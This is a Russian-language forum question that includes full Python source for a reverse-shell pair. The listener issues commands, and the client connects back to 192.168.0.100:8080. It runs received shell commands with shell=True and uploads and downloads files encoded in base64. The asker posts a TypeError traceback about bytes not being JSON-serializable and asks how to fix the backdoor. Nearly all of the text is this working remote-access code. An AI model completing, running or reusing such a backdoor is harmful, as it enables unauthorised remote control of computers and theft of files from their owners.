Есть два файла, которые взаимодействуют друг с другом по принципу "сервер-клиент"
Код сервера:
#!/usr/bin/python
import socket, json, base64
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print ("[+] Waiting for inomming connections")
self.connection, address = listener.accept()
print ("[+] Got a connection from " + str (address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def execute_remotely(self, command):
self.reliable_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.reliable_receive()
def write_file(self, path, content):
with open(path, "wb") as file:
file.write(base64.b64decode(content))
return "[+] Download successful."
def read_file(self, path):
with open(path, "rb") as file:
return base64.b64encode(file.read())
def run(self):
while True:
command = raw_input(">> ")
command = command.split(" ")
try:
if command[0] == "upload":
file_content = self.read_file(command[1])
command.append(file_content)
result = self.execute_remotely(command)
if command[0] == "download" and "[-] Error " not in result:
result = self.write_file(command[1], result)
except Exception:
result = "[-] Error during command execution."
print(result)
my_listener = Listener("192.168.0.100", 8080)
my_listener.run()
Код клиента:
#!/usr/bin/env python3
import socket
import subprocess
import json
import os
import base64
class Main:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = b""
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def change_working_directory_to(self, path):
os.chdir(path)
return "[+] Changing working directory to " + path
def read_file(self, path):
with open(path, "rb") as file:
return base64.b64encode(file.read())
def write_file(self, path, content):
with open(path, "wb") as file:
file.write(base64.b64decode(content))
return "[+] Upload successful."
def run(self):
while True:
command = self.reliable_receive()
try:
if command[0] == "exit":
self.connection.close()
exit()
elif command[0] == "cd" and len(command) > 1:
command_result = self.change_working_directory_to(command[1])
elif command[0] == "download":
command_result = self.read_file(command[1])
elif command[0] == "upload":
command_result = self.write_file(command[1], command[2])
else:
command_result = self.execute_system_command(command)
except Exception:
command_result = "[-] Error during command execution."
self.reliable_send(command_result)
my_Conn = Main("192.168.0.100", 8080)
my_Conn.run()
Ошибка:
Traceback (most recent call last):
File "C:\Users\file_name.py", line 66, in <module>
my_Conn.run()
File "C:\Users\file_name.py", line 63, in run
self.reliable_send(command_result)
File "C:\Users\file_name.py", line 15, in reliable_send
json_data = json.dumps(data)
File "C:\Users\AppData\Local\Programs\Python\Python39-32\lib\json\__init__.py", line 231, in dumps
return _default_encoder.encode(obj)
File "C:\Users\AppData\Local\Programs\Python\Python39-32\lib\json\encoder.py", line 199, in encode
chunks = self.iterencode(o, _one_shot=True)
File "C:\Users\AppData\Local\Programs\Python\Python39-32\lib\json\encoder.py", line 257, in iterencode
return _iterencode(o, 0)
File "C:\Users\AppData\Local\Programs\Python\Python39-32\lib\json\encoder.py", line 179, in default
raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type bytes is not JSON serializable
Мой вопрос, как бы, является продолжением к проблеме: TypeError: can only concatenate str (not "bytes") to str
Подскажите, как исправить?
def reliable_send(self, data): self.connection.send(data)
А в json планировалось упаковывать строки, файлы...вроде как.